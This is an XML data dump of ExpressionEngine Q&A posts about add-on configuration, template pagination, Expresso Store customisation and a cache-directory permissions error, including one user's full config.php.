  <row Id="26811" PostTypeId="1" AcceptedAnswerId="26840" CreationDate="2014-11-20T15:58:28.380" Score="0" ViewCount="57" Body="&lt;p&gt;Updater doesn't seem to be reading the &lt;a href=&quot;http://www.devdemon.com/documentation/updater/#config-overrides-updater&quot; rel=&quot;nofollow&quot;&gt;Configuration File overrides&lt;/a&gt; that I'm setting in &lt;code&gt;config.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's part of my config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $base_path and other variables defined above this&#xA;$config['updater_module_defaults']['path_map']['root'] = $base_path . '/';&#xA;$config['updater_module_defaults']['path_map']['backup'] = $base_path . '/updater_backup/';&#xA;$config['updater_module_defaults']['path_map']['system'] = $base_path . '/' . $system_folder . '/';&#xA;$config['updater_module_defaults']['path_map']['system_third_party'] = $config['third_party_path'];&#xA;$config['updater_module_defaults']['path_map']['themes'] = $config['theme_folder_path'];&#xA;$config['updater_module_defaults']['path_map']['themes_third_party'] = $config['theme_folder_path'] . 'third_party/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the Settings don't change as I update this file, nor are the input fields disabled. Updater appears to only use the settings in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Updater 3.2.17 on EE 2.7.2&lt;/p&gt;&#xA;" OwnerUserId="456" LastEditorUserId="456" LastEditDate="2014-11-20T16:05:41.587" LastActivityDate="2014-11-21T18:16:46.077" Title="DevDemon Updater not reading config overrides" Tags="|devdemon|devdemon-updater|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26813" PostTypeId="1" CreationDate="2014-11-20T17:07:59.667" Score="0" ViewCount="37" Body="&lt;p&gt;Based on Solcpase Tag &lt;a href=&quot;http://www.solspace.com/docs/tag/entries/#tag_paginate&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pagination is available for this tag and works just like regular EE&#xA;  pagination, but each variable/variable pair is prepended with tag_&#xA;  (except for any variables/variable pairs inside of the&#xA;  tag_pagination_links variable pair). Used in conjunction with the&#xA;  paginate parameter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so I have converted working pagination snippet to one which has added &lt;code&gt;tag_&lt;/code&gt; to each variable pair, but it looks like like &lt;code&gt;{first_page}&lt;/code&gt;,&lt;code&gt;{pagination_url}&lt;/code&gt;,&lt;code&gt;{previous_page}&lt;/code&gt; etc are not working with that trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2016-05-28T02:06:00.620" Title="Solspce Tag and pagination" Tags="|solspace-tag|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26814" PostTypeId="1" AcceptedAnswerId="26815" CreationDate="2014-11-20T17:38:08.473" Score="0" ViewCount="171" Body="&lt;p&gt;I'm inside this loop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;people&quot; disable=&quot;categories|member_data|pagination&quot; status=&quot;open|closed&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot; sort=&quot;asc&quot; orderby=&quot;people_last_name&quot; limit=&quot;999&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just about everything I'm displaying is working as expected.  At one point, I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{edit_date format=&quot;%m/%d/%y&quot;} - {edit_date:relative}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{edit_date format=&quot;%m/%d/%y&quot;}&lt;/code&gt; works fine.  &lt;code&gt;{edit_date:relative}&lt;/code&gt; gets passed through as literal text.  So I get results like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12/02/12 - {edit_date:relative}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know what I’m doing wrong, and how I can fix it?&lt;/p&gt;&#xA;" OwnerUserId="3806" LastActivityDate="2014-11-20T18:06:31.917" Title="Relatively formatting edit_date" Tags="|edit-date|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26815" PostTypeId="2" ParentId="26814" CreationDate="2014-11-20T18:06:31.917" Score="3" Body="&lt;p&gt;Relative Dates have been introduced to (native) Expression Engine in Version 2.8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you checked if your Site is running on EE 2.8 or newer?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2014-11-20T18:06:31.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26816" PostTypeId="1" CreationDate="2014-11-20T18:09:07.360" Score="0" ViewCount="22" Body="&lt;p&gt;By default products have subfields for width, height, length etc. Is there a way to change these on the admin side? I'd like to change length to 'overall width' and weight to 'overall height'. Any clues would be great.&lt;/p&gt;&#xA;" OwnerUserId="3807" LastActivityDate="2014-11-20T20:24:20.567" Title="Is there a way to customise the product dimension subfields in Expresso?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26817" PostTypeId="1" CreationDate="2014-11-20T19:55:10.613" Score="0" ViewCount="62" Body="&lt;p&gt;Is there a way in Exp:resso Store to allow certain customers to be marked tax-exempt and then omit tax based on their status? Ideally a customer would contact us with their tax-exempt number and we would mark them tax-exempt in their member account. Or a member could include their tax-exempt number in a custom field when registering? Once that is filled in for their account, though, how could I omit tax for their orders?&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2014-11-20T22:00:47.023" Title="Exp:resso Store tax exempt customers?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26818" PostTypeId="1" CreationDate="2014-11-20T20:04:34.467" Score="0" ViewCount="67" Body="&lt;p&gt;Anyone able to provide what needs to be change in the core to allow this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to allow it in the email field by changing the regex in email_helper.php but I am using zoo visitor and have email as username set and username is not allowing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about every post on the matter out there but they are all for older versions of EE. I am running 2.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help, this might be a deal breaker for me at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;" OwnerUserId="2991" LastActivityDate="2014-11-21T08:34:05.297" Title="apostrophe in username" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26819" PostTypeId="2" ParentId="26813" CreationDate="2014-11-20T20:12:21.247" Score="0" Body="&lt;p&gt;Not all of the variable pairs are prepended with &quot;tag_&quot; :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what your code should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{tag_paginate}&#xA;    &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;    {tag_pagination_links}&#xA;    {first_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;First&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/first_page}&#xA;    {previous_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;laquo; Previous&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/previous_page}&#xA;    {page}&#xA;        &amp;lt;li{if current_page} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/page}&#xA;    {next_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Next &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/next_page}&#xA;    {last_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/last_page}&#xA;    {/tag_pagination_links}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/tag_paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-20T20:12:21.247" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26820" PostTypeId="2" ParentId="26816" CreationDate="2014-11-20T20:24:20.567" Score="1" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, try using this &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;add-on&lt;/a&gt; to inject custom JS into the control panel then modify the labels via JS. Something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Publish/Edit Entry&#xA;$('#publish #store_product_field thead th:eq(2)').text(&quot;Overall Width (mm)&quot;);&#xA;$('#publish #store_product_field thead th:eq(5)').text(&quot;Overall Height (mm)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do something similar for the Store Control Panel page(s). On the frontend you control the labelling anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative is just to create custom fields in your entry to handle the information.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-11-20T20:24:20.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26821" PostTypeId="2" ParentId="26798" CreationDate="2014-11-20T21:10:42.993" Score="0" Body="&lt;p&gt;Stuartmcd69 got it right with the change in depth.  Apparently, the update to Stash has parsing changes which caused this.  When I changed the set_list depth to '2' and removed the depth from get_list, the template worked properly under the new version of Stash.&lt;/p&gt;&#xA;" OwnerUserId="3802" LastActivityDate="2014-11-20T21:10:42.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26822" PostTypeId="2" ParentId="26817" CreationDate="2014-11-20T22:00:47.023" Score="1" Body="&lt;p&gt;There is nothing out of the box that I know that would allow you to do this. Your best bet would be to create an extension that uses the &lt;code&gt;store_order_taxes&lt;/code&gt; &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#tax_hooks&quot; rel=&quot;nofollow&quot;&gt;hook&lt;/a&gt; to see if the member has a certain field of their profile populated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that you would probably need to either have only an admin be able to fill out that field or have some logic to make sure that the tax-exempt number is valid so that the end user doesn't just enter a random number.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-11-20T22:00:47.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26823" PostTypeId="1" AcceptedAnswerId="26831" CreationDate="2014-11-20T22:15:34.627" Score="0" ViewCount="3851" Body="&lt;p&gt;I'm getting the following error on my local machine after installing EE...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An Error Was Encountered&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The following directory must be writable: /Applications/MAMP/htdocs/website.local/library/expressionengine/cache&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using MAMP Pro and set all permissions to 777 to all directories, but still no luck. Any help is appreciated. Thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| ExpressionEngine Config Items&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| The following items are for use with ExpressionEngine.  The rest of&#xA;| the config items are for use with CodeIgniter, some of which are not&#xA;| observed by ExpressionEngine, e.g. 'permitted_uri_chars'&#xA;|&#xA;*/&#xA;&#xA;$docroot = $_SERVER['DOCUMENT_ROOT'];&#xA;$address = ($_SERVER['SERVER_PORT'] == '443') ? 'https://'.$_SERVER['HTTP_HOST'] : 'http://'.$_SERVER['HTTP_HOST'];&#xA;&#xA;$config['app_version'] = &quot;273&quot;;&#xA;$config['install_lock'] = &quot;y&quot;;&#xA;$config['license_number'] = &quot;0000-0000-0000-0000&quot;;&#xA;$config['debug'] = &quot;0&quot;;&#xA;$config['site_index'] = 'index.php';&#xA;$config['site_url'] = $address.'/';&#xA;$config['cp_url'] = $address.&quot;/manage.php&quot;;&#xA;$config['doc_url'] = &quot;http://mywebsite.com/&quot;;&#xA;$config['theme_folder_url'] = $address.&quot;/themes/&quot;;&#xA;$config['theme_folder_path'] = $docroot.'/themes/';&#xA;$config['cp_theme'] = 'mcsquared';&#xA;$config['new_version_check'] = 'n';&#xA;$config['is_system_on'] = &quot;y&quot;;&#xA;//$config['site_label'] = ''; // if you want to force the site_name&#xA;$config['cookie_prefix'] = 'website';&#xA;&#xA;$config['enable_online_user_tracking'] = &quot;n&quot;;&#xA;$config['enable_hit_tracking'] = &quot;n&quot;;&#xA;$config['enable_entry_view_tracking'] = &quot;n&quot;;&#xA;$config['dynamic_tracking_disabling'] = &quot;&quot;;&#xA;$config['comment_word_censoring'] = &quot;n&quot;;&#xA;$config['comment_moderation_override'] = &quot;n&quot;;&#xA;$config['comment_edit_time_limit'] = &quot;&quot;;&#xA;$config['allow_extensions'] = &quot;y&quot;;&#xA;&#xA;$config['tmpl_file_basepath'] = $docroot.'/views/templates/';&#xA;&#xA;$config['template_debugging'] = 'n';&#xA;&#xA;$config['snippet_file_basepath'] = $docroot.'/views/snippets/';&#xA;$config['snippets_sync_prefix'] = 'snippet:';&#xA;&#xA;&#xA;$config['ce_image_document_root'] = $docroot;&#xA;/*&#xA;|-----------------------------&#xA;| CE Image Basic Config Items&#xA;|-----------------------------&#xA;|&#xA;| The following items are for use with CE Image. They are all optional,&#xA;| as the defaults in the actual plugin will be used if not specified below.&#xA;*/&#xA;/*&#xA;| The *relative path* (to your web root) of the directory to cache images&#xA;| in. This path will override the $cache_dir variable in the plugin file,&#xA;| and can optionally be overridden via the cache_dir= plugin parameter.&#xA;*/&#xA;$config['ce_image_cache_dir'] = '/cache/';&#xA;&#xA;/*&#xA;| The *relative path* (to your web root) of the folder to download remote&#xA;| images. This path will override the $remote_dir variable in the plugin&#xA;| file, and can optionally be overridden via the remote_dir= plugin&#xA;| parameter.&#xA;*/&#xA;$config['ce_image_remote_dir'] = '/cache/remote/';&#xA;&#xA;/*&#xA;| The ce_image_memory_limit sets the amount of memory (in megabytes) PHP can&#xA;| use for the script (64 is generally sufficient). If the PHP memory_limit&#xA;| is set to a greater value, then this setting will not override it.&#xA;*/&#xA;$config['ce_image_memory_limit'] = 64;&#xA;&#xA;/*&#xA;| If the plugin cannot determine the last change date of a remote image,&#xA;| wait this long (in minutes) before re-downloading the image:&#xA;*/&#xA;$config['ce_image_remote_cache_time'] = 1440;&#xA;&#xA;/*&#xA;| The default quality to save a jpg/jpeg file. The quality can range from&#xA;| 0 (lowest) to 100 (highest) and should be a whole number.&#xA;*/&#xA;$config['ce_image_quality'] = 80;&#xA;&#xA;/*&#xA;| You can optionally run images that are downloaded from remote sites&#xA;| through an XSS filter. The filter sometimes gives false negatives though.&#xA;| If you know and trust the source of your images, you can disable the&#xA;| filter by default. You can always override this per tag via the&#xA;| disable_xss_check= parameter.&#xA;*/&#xA;$config['ce_image_disable_xss_check'] = 'yes';&#xA;&#xA;/*&#xA;| By default, CE Image will add in width and height attributes to the image&#xA;| tags it generates when using the ce_img:single tag. If you would like to&#xA;| disable this globally, you can use this setting. You can also change this&#xA;| on a per tag basis using the add_dims= parameter. The default is &quot;yes&quot;.&#xA;*/&#xA;$config['ce_image_add_dims'] = 'no';&#xA;&#xA;&#xA;// file upload preferences&#xA;if ( !empty($docroot) )&#xA;{&#xA;    // Note: FCPATH is defined in index.php and manage.php -- where the app and view are init.&#xA;    $uploadpath = 'public/uploads';&#xA;&#xA;    $config['upload_preferences'] = array(&#xA;        1 =&amp;gt; array( # database id number&#xA;            'name'        =&amp;gt; 'Default Directory', # display name in control panel&#xA;            'server_path' =&amp;gt; FCPATH.$uploadpath.'/', # server path&#xA;            'url'         =&amp;gt; '/'.$uploadpath.'/', # url path&#xA;            'allowed_types'=&amp;gt; 'all'&#xA;        ),&#xA;        2 =&amp;gt; array( # database id number&#xA;            'name'        =&amp;gt; 'Page Headers', # display name in control panel&#xA;            'server_path' =&amp;gt; FCPATH.$uploadpath.'/pageheaders/', # server path&#xA;            'url'         =&amp;gt; '/'.$uploadpath.'/pageheaders/', # url path&#xA;            'allowed_types'=&amp;gt; 'img'&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Base Site URL&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| URL to your CodeIgniter root. Typically this will be your base URL,&#xA;| WITH a trailing slash:&#xA;|&#xA;|   http://example.com/&#xA;|&#xA;*/&#xA;$config['base_url'] = '';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Index File&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Typically this will be your index.php file, unless you've renamed it to&#xA;| something else. If you are using mod_rewrite to remove the page set this&#xA;| variable so that it is blank.&#xA;|&#xA;*/&#xA;$config['index_page'] = &quot;&quot;;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| URI PROTOCOL&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This item determines which server global should be used to retrieve the&#xA;| URI string.  The default setting of &quot;AUTO&quot; works for most servers.&#xA;| If your links do not seem to work, try one of the other delicious flavors:&#xA;|&#xA;| 'AUTO'            Default - auto detects&#xA;| 'PATH_INFO'       Uses the PATH_INFO&#xA;| 'QUERY_STRING'    Uses the QUERY_STRING&#xA;| 'REQUEST_URI'     Uses the REQUEST_URI&#xA;| 'ORIG_PATH_INFO'  Uses the ORIG_PATH_INFO&#xA;|&#xA;*/&#xA;$config['uri_protocol'] = 'AUTO';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| URL suffix&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This option allows you to add a suffix to all URLs generated by CodeIgniter.&#xA;| For more information please see the user guide:&#xA;|&#xA;| http://codeigniter.com/user_guide/general/urls.html&#xA;*/&#xA;&#xA;$config['url_suffix'] = '';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Default Language&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This determines which set of language files should be used. Make sure&#xA;| there is an available translation if you intend to use something other&#xA;| than english.&#xA;|&#xA;*/&#xA;$config['language'] = 'english';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Default Character Set&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This determines which character set is used by default in various methods&#xA;| that require a character set to be provided.&#xA;|&#xA;*/&#xA;$config['charset'] = 'UTF-8';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Enable/Disable System Hooks&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If you would like to use the &quot;hooks&quot; feature you must enable it by&#xA;| setting this variable to TRUE (boolean).  See the user guide for details.&#xA;|&#xA;*/&#xA;$config['enable_hooks'] = FALSE;&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Class Extension Prefix&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This item allows you to set the filename/classname prefix when extending&#xA;| native libraries.  For more information please see the user guide:&#xA;|&#xA;| http://codeigniter.com/user_guide/general/core_classes.html&#xA;| http://codeigniter.com/user_guide/general/creating_libraries.html&#xA;|&#xA;*/&#xA;$config['subclass_prefix'] = 'EE_';&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Allowed URL Characters&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This lets you specify which characters are permitted within your URLs.&#xA;| When someone tries to submit a URL with disallowed characters they will&#xA;| get a warning message.&#xA;|&#xA;| As a security measure you are STRONGLY encouraged to restrict URLs to&#xA;| as few characters as possible.  By default only these are allowed: a-z 0-9~%.:_-&#xA;|&#xA;| Leave blank to allow all characters -- but only if you are insane.&#xA;|&#xA;| DO NOT CHANGE THIS UNLESS YOU FULLY UNDERSTAND THE REPERCUSSIONS!!&#xA;|&#xA;*/&#xA;$config['permitted_uri_chars'] = 'a-z 0-9~%.:_\\-';&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Enable Query Strings&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| By default CodeIgniter uses search-engine friendly segment based URLs:&#xA;| example.com/who/what/where/&#xA;|&#xA;| You can optionally enable standard query string based URLs:&#xA;| example.com?who=me&amp;amp;what=something&amp;amp;where=here&#xA;|&#xA;| Options are: TRUE or FALSE (boolean)&#xA;|&#xA;| The two other items let you set the query string &quot;words&quot; that will&#xA;| invoke your controllers and its functions:&#xA;| example.com/index.php?c=controller&amp;amp;m=function&#xA;|&#xA;| Please note that some of the helpers won't work as expected when&#xA;| this feature is enabled, since CodeIgniter is designed primarily to&#xA;| use segment based URLs.&#xA;|&#xA;*/&#xA;$config['enable_query_strings'] = FALSE;&#xA;$config['directory_trigger'] = 'D';&#xA;$config['controller_trigger'] = 'C';&#xA;$config['function_trigger'] = 'M';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Error Logging Threshold&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If you have enabled error logging, you can set an error threshold to &#xA;| determine what gets logged. Threshold options are:&#xA;|&#xA;|   0 = Disables logging, Error logging TURNED OFF&#xA;|   1 = Error Messages (including PHP errors)&#xA;|   2 = Debug Messages&#xA;|   3 = Informational Messages&#xA;|   4 = All Messages&#xA;|&#xA;| For a live site you'll usually only enable Errors (1) to be logged otherwise&#xA;| your log files will fill up very fast.&#xA;|&#xA;*/&#xA;$config['log_threshold'] = 0;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Error Logging Directory Path&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Leave this BLANK unless you would like to set something other than the default&#xA;| system/logs/ folder.  Use a full server path with trailing slash.&#xA;|&#xA;*/&#xA;$config['log_path'] = '';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Date Format for Logs&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Each item that is logged has an associated date. You can use PHP date&#xA;| codes to set your own date formatting&#xA;|&#xA;*/&#xA;$config['log_date_format'] = 'Y-m-d H:i:s';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Cache Directory Path&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Leave this BLANK unless you would like to set something other than the default&#xA;| system/cache/ folder.  Use a full server path with trailing slash.&#xA;|&#xA;*/&#xA;$config['cache_path'] = '';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Encryption Key&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If you use the Encryption class or the Sessions class with encryption&#xA;| enabled you MUST set an encryption key.  See the user guide for info.&#xA;|&#xA;*/&#xA;$config['encryption_key'] = '';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Global XSS Filtering&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Determines whether the XSS filter is always active when GET, POST or&#xA;| COOKIE data is encountered&#xA;|&#xA;*/&#xA;$config['global_xss_filtering'] = FALSE;&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| CSRF Protection&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Determines whether Cross Site Request Forgery protection is enabled.&#xA;| For more info visit the security library page of the user guide&#xA;|&#xA;*/&#xA;$config['csrf_protection'] = FALSE;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Output Compression&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Enables Gzip output compression for faster page loads.  When enabled,&#xA;| the output class will test whether your server supports Gzip.&#xA;| Even if it does, however, not all browsers support compression&#xA;| so enable only if you are reasonably sure your visitors can handle it.&#xA;|&#xA;| VERY IMPORTANT:  If you are getting a blank page when compression is enabled it&#xA;| means you are prematurely outputting something to your browser. It could&#xA;| even be a line of whitespace at the end of one of your scripts.  For&#xA;| compression to work, nothing can be sent before the output buffer is called&#xA;| by the output class.  Do not &quot;echo&quot; any values with compression enabled.&#xA;|&#xA;*/&#xA;$config['compress_output'] = FALSE;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Master Time Reference&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Options are &quot;local&quot; or &quot;gmt&quot;.  This pref tells the system whether to use&#xA;| your server's local time as the master &quot;now&quot; reference, or convert it to&#xA;| GMT.  See the &quot;date helper&quot; page of the user guide for information&#xA;| regarding date handling.&#xA;|&#xA;*/&#xA;$config['time_reference'] = 'local';&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Rewrite PHP Short Tags&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If your PHP installation does not have short tag support enabled CI&#xA;| can rewrite the tags on-the-fly, enabling you to utilize that syntax&#xA;| in your view files.  Options are TRUE or FALSE (boolean)&#xA;|&#xA;*/&#xA;$config['rewrite_short_tags'] = TRUE;&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Reverse Proxy IPs&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If your server is behind a reverse proxy, you must whitelist the proxy IP&#xA;| addresses from which CodeIgniter should trust the HTTP_X_FORWARDED_FOR&#xA;| header in order to properly identify the visitor's IP address.&#xA;| Comma-delimited, e.g. '10.0.1.200,10.0.1.201'&#xA;|&#xA;*/&#xA;$config['proxy_ips'] = &quot;&quot;;&#xA;&#xA;&#xA;/* End of file config.php */&#xA;/* Location: ./system/expressionengine/config/config.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastEditorUserId="2889" LastEditDate="2014-11-20T23:18:45.943" LastActivityDate="2014-11-21T08:48:53.590" Title="Permsissions error on cache dir on local server" Tags="|error|permissions|cache-folder|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26824" PostTypeId="2" ParentId="26613" CreationDate="2014-11-20T22:18:47.137" Score="0" Body="&lt;p&gt;I am not familiar with MC Country and have not used IP2Nation in a long time but you would need to use a conditional for the &lt;code&gt;shipping_country&lt;/code&gt; field against the data returned from IP2Nation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;shipping_country&quot;&amp;gt;&#xA; &amp;lt;option value=&quot;US&quot; {if ip2nation_tag_here == &quot;US&quot;}selected=&quot;selected&quot;{/if}&amp;gt;United States&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;CA&quot; {if ip2nation_tag_here == &quot;CA&quot;}selected=&quot;selected&quot;{/if}&amp;gt;Canada&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on for each of the countries that you might ship to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing is that either you will need to update the cart with JS or have the user update the cart before you will get rates calculated.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-11-20T22:18:47.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26825" PostTypeId="2" ParentId="19755" CreationDate="2014-11-20T22:51:33.473" Score="0" Body="&lt;p&gt;Yes, but you need to add the hidden field with the remote source's ID as the value attribute.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;assets_field_name_source&quot; value=&quot;1&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-20T22:51:33.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26826" PostTypeId="1" CreationDate="2014-11-20T22:56:46.350" Score="0" ViewCount="71" Body="&lt;p&gt;I'm preparing to redesign my employer's website that features more than 18,000 items. We're not ready to open the site for online sales but may do so in the future. I'm considering integrating an e-commerce system from the beginning for the benefits --- search, sort, filter, product-focused display --- and to make it much simpler to open the site for sales later. Do either Expresso or CartThrob allow the shopping cart and Buy Now functions to be turned off while the rest of the features are in use? &lt;/p&gt;&#xA;" OwnerUserId="3808" LastActivityDate="2015-01-20T10:44:38.740" Title="Can Expresso Store or CartThrob be used without the shopping cart?" Tags="|expresso-store|cartthrob|shopping-cart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
